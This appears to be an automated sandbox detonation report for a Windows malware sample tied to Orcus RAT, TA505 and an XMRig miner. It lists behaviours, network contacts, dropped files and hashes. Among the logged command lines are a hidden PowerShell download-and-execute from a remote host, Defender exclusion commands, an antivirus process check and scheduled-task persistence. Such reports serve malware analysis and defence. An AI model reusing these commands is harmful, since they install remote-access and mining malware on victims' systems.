Analysis Overview
SHA256
6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3
Threat Level: Known bad
The file 6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3 was found to be: Known bad.
Malicious Activity Summary
XMRig Miner payload
xmrig
TA505
Xmrig family
Orcus
Orcus family
Ta505 family
Suspicious use of NtCreateUserProcessOtherParentProcess
Orcurs Rat Executable
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell
Disables Task Manager via registry modification
Blocklisted process makes network request
Deletes itself
Loads dropped DLL
Checks computer location settings
Executes dropped EXE
Adds Run key to start application
Enumerates processes with tasklist
Drops file in Windows directory
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Command and Scripting Interpreter: JavaScript
Unsigned PE
Suspicious behavior: EnumeratesProcesses
Scheduled Task/Job: Scheduled Task
Suspicious use of WriteProcessMemory
Runs net.exe
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Modifies registry key
Suspicious use of SendNotifyMessage
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-12-02 16:34
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-12-02 16:34
Reported
2024-12-02 16:37
Platform
win7-20241023-en
Max time kernel
140s
Max time network
149s
Command Line
Signatures
Orcus
Orcus family
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 3000 created 1144 | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | C:\Windows\Explorer.EXE |
TA505
Ta505 family
Orcurs Rat Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\COMSurrogate.exe" | C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe | N/A |
Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\MovieArchives | C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe | N/A |
| File opened for modification | C:\Windows\PackageExpression | C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\find.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\findstr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\choice.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\findstr.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Runs net.exe
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe
"C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
C:\Windows\SysWOW64\tasklist.exe
tasklist
C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa opssvc"
C:\Windows\SysWOW64\tasklist.exe
tasklist
C:\Windows\SysWOW64\findstr.exe
findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
C:\Windows\SysWOW64\cmd.exe
cmd /c md 491505
C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
C:\Users\Admin\AppData\Local\Temp\491505\Dr.com
Dr.com B
C:\Windows\SysWOW64\choice.exe
choice /d y /t 15
C:\Windows\SysWOW64\cmd.exe
cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
C:\Windows\SysWOW64\schtasks.exe
schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe
"C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe"
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\ex.bat" "
C:\Windows\SysWOW64\net.exe
net session
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 session
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat" "
C:\Windows\SysWOW64\net.exe
net session
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 session
C:\Windows\SysWOW64\tasklist.exe
tasklist /fi "imagename eq mi.exe"
C:\Windows\SysWOW64\find.exe
find /i "mi.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://cdn-downloads-now.xyz/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
C:\Windows\system32\taskeng.exe
taskeng.exe {5544E435-7D82-4782-80DE-A0C617B5C534} S-1-5-21-1163522206-1469769407-485553996-1000:PJCSDMRP\Admin:Interactive:[1]
C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE //B "C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js"
C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr
"C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.scr" "C:\Users\Admin\AppData\Local\CreativePixel Tech\E"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | UWPunrsopYzTstryocRtyY.UWPunrsopYzTstryocRtyY | udp |
| GB | 45.74.38.211:4782 | tcp | |
| US | 8.8.8.8:53 | cdn-downloads.com | udp |
| NL | 203.161.45.11:443 | cdn-downloads.com | tcp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | cdn-downloads-now.xyz | udp |
| NL | 203.161.45.11:443 | cdn-downloads-now.xyz | tcp |
| NL | 203.161.45.11:443 | cdn-downloads-now.xyz | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\Audit
| MD5 | 9da23439e34b0498b82ae193c5a8f3a8 |
| SHA1 | ae20bbe7fac03c94e42f4dd206d89003faae7899 |
| SHA256 | 0f241cc0324871a1a900a7ac0edf889a8d12875b1072f44856cc979a4b7a77ac |
| SHA512 | cd4b262753b4f5f1dac09c20fa64ebdee00cf4a3fce92287a7439df943ea65bdf8569f541c2668b2164139b91facccfb3c98db8ad8f686637f4e317583cc98a2 |
C:\Users\Admin\AppData\Local\Temp\Commissioner
| MD5 | 6ee7ddebff0a2b78c7ac30f6e00d1d11 |
| SHA1 | f2f57024c7cc3f9ff5f999ee20c4f5c38bfc20a2 |
| SHA256 | 865347471135bb5459ad0e647e75a14ad91424b6f13a5c05d9ecd9183a8a1cf4 |
| SHA512 | 57d56de2bb882f491e633972003d7c6562ef2758c3731b913ff4d15379ada575062f4de2a48ca6d6d9241852a5b8a007f52792753fd8d8fee85b9a218714efd0 |
\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
| MD5 | b58b926c3574d28d5b7fdd2ca3ec30d5 |
| SHA1 | d260c4ffd603a9cfc057fcb83d678b1cecdf86f9 |
| SHA256 | 6e70b56d748c4ccab13cc8a055d3795ea0dd95fe3b70568d7d3ac0c6621140a3 |
| SHA512 | b13cb998822b716b695013bcd6dec62a2290567d0d1743b2d982ca084235cf69c6ea1fc91c9d4e62657c6f9e102c7c60e81296ab055ffe43b887c5f8ec8958ab |
memory/1204-364-0x0000000000390000-0x0000000000794000-memory.dmp
memory/1204-366-0x0000000000390000-0x0000000000794000-memory.dmp
memory/1204-367-0x0000000000390000-0x0000000000794000-memory.dmp
memory/1204-370-0x00000000007B0000-0x00000000007BE000-memory.dmp
memory/1204-371-0x0000000001190000-0x00000000011EC000-memory.dmp
memory/1204-372-0x0000000000890000-0x00000000008A2000-memory.dmp
memory/1204-373-0x00000000008D0000-0x00000000008D8000-memory.dmp
memory/1204-374-0x0000000000BC0000-0x0000000000BC8000-memory.dmp
memory/1204-375-0x0000000000C10000-0x0000000000C18000-memory.dmp
memory/1204-376-0x0000000000C20000-0x0000000000C38000-memory.dmp
memory/1204-377-0x0000000000CF0000-0x0000000000D00000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Cab8B9F.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe
| MD5 | 77334f046a50530cdc6e585e59165264 |
| SHA1 | 657a584eafe86df36e719526d445b570e135d217 |
| SHA256 | eb6c487307c52793e0bc4d6a74770bbea2322f32edc466b25abacec3dd0e9c08 |
| SHA512 | 97936dd74d7eef8d69dae0d83b6d1554bd54d5302b5b2ff886ff66c040b083d7d086089de12b57a491cf7269a7d076e4d2a52839aaac519386b77297bc3a5c90 |
C:\Users\Admin\AppData\Local\Temp\ex.bat
| MD5 | ce54310624724dc31ea4171ed501c1fa |
| SHA1 | 3c5b5c6d21eada75357a24699ba37703e6b2a3d0 |
| SHA256 | b955965b61fbec8f75499803f31ddce3228312df236d5e18c9b1b322dfc89f2e |
| SHA512 | 907ddf95e241da4104ab0e7535c74083f026b765d2e5717f817296828d652f2690215073b69552704b5ef6a075154b8f7f95384b8c3a79535b5109bdb3e2cf1c |
memory/2948-413-0x0000000000BD0000-0x0000000000BFE000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat
| MD5 | b98885d703994cb43b4520881ea093e0 |
| SHA1 | 920e5c84f92e75e981cd1c0274888f3856441cf8 |
| SHA256 | 1ab0379eced5141d70a438ff2312488f28f2c6e72c3948bb6b2b575207aab445 |
| SHA512 | cffe79b0d48746124138b68c51a16ae73d6c70da6d8afc49e973648d76c0cfdaf57c42da8df33b8e7530c73d547178a571ced933517685c1cbe326ad11ce82af |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | e84a711ca2962f034dafcfc2b470a5ff |
| SHA1 | 353f2ee837ab6cf647fbad9b5692ed56c0e27eca |
| SHA256 | f80c8f55178ea4f2ad907c287ca78efdadcae3fe7912861d2ce0df93931a247c |
| SHA512 | 8a09e4d22a129df377966c43f769b663ef955e0a59ec7809f6e5a1b598fb9566cde7f56ae043b538012a627978de8f68e2f520d01c6e2f78c14f55a81033fd85 |
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js
| MD5 | f4e7fb4a2cd7331909b6376b42e531ab |
| SHA1 | 1459ff7146bb25b5ffa3921ed13b2a60b5c09718 |
| SHA256 | 62e85e74af89f12a35f62448a1585c68b7599306dada8ca9dddde6018d7b12b3 |
| SHA512 | 4616a3a014f1b1217c5c694b4d6785abea360dad8c622e8180b6531d8796e602eda0a0cd922dfa45b277604440778b847d18afb8baff7818e8d6ff3fb4dc8a28 |
C:\Users\Admin\AppData\Local\CreativePixel Tech\E
| MD5 | 0a1e63fc10dd1dbb8b2db81e2388bf99 |
| SHA1 | 67ad39aabbf4875bc1b165ccd5afc40194d1d3c8 |
| SHA256 | 122991768f589431b9166a4e22523bf48a53efff73fc2b191955e604196541b7 |
| SHA512 | 94c50f06e1d157381b9d0746044b5d015e2946b44291d92739783cb3ed9e91371cf7d1b981d3108d910d7a7000810fe69fbe6590f9a84f822b671866ab9db5fc |
Analysis: behavioral2
Detonation Overview
Submitted
2024-12-02 16:34
Reported
2024-12-02 16:37
Platform
win10v2004-20241007-en
Max time kernel
144s
Max time network
143s
Command Line
Signatures
Orcus
Orcus family
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 4664 created 3416 | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | C:\Windows\Explorer.EXE |
TA505
Ta505 family
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Xmrig family
xmrig
Orcurs Rat Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Disables Task Manager via registry modification
Downloads MZ/PE file
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\Dr.com | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\smartscreen.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\mi.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\mi.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\mi.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\asm\mi.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\COMSurrogate.exe" | C:\Users\Admin\AppData\Local\Temp\COMSurrogate.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SmartScreen = "C:\\Users\\Admin\\AppData\\Local\\Temp\\smartscreen.exe" | C:\Users\Admin\AppData\Local\Temp\smartscreen.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Local\\asm\\COMSurrogate.exe" | C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe | N/A |
Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\tasklist.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\MovieArchives | C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe | N/A |
| File opened for modification | C:\Windows\PackageExpression | C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe | N/A |
Command and Scripting Interpreter: JavaScript
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\reg.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\choice.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\tasklist.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net1.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\net1.exe | N/A |
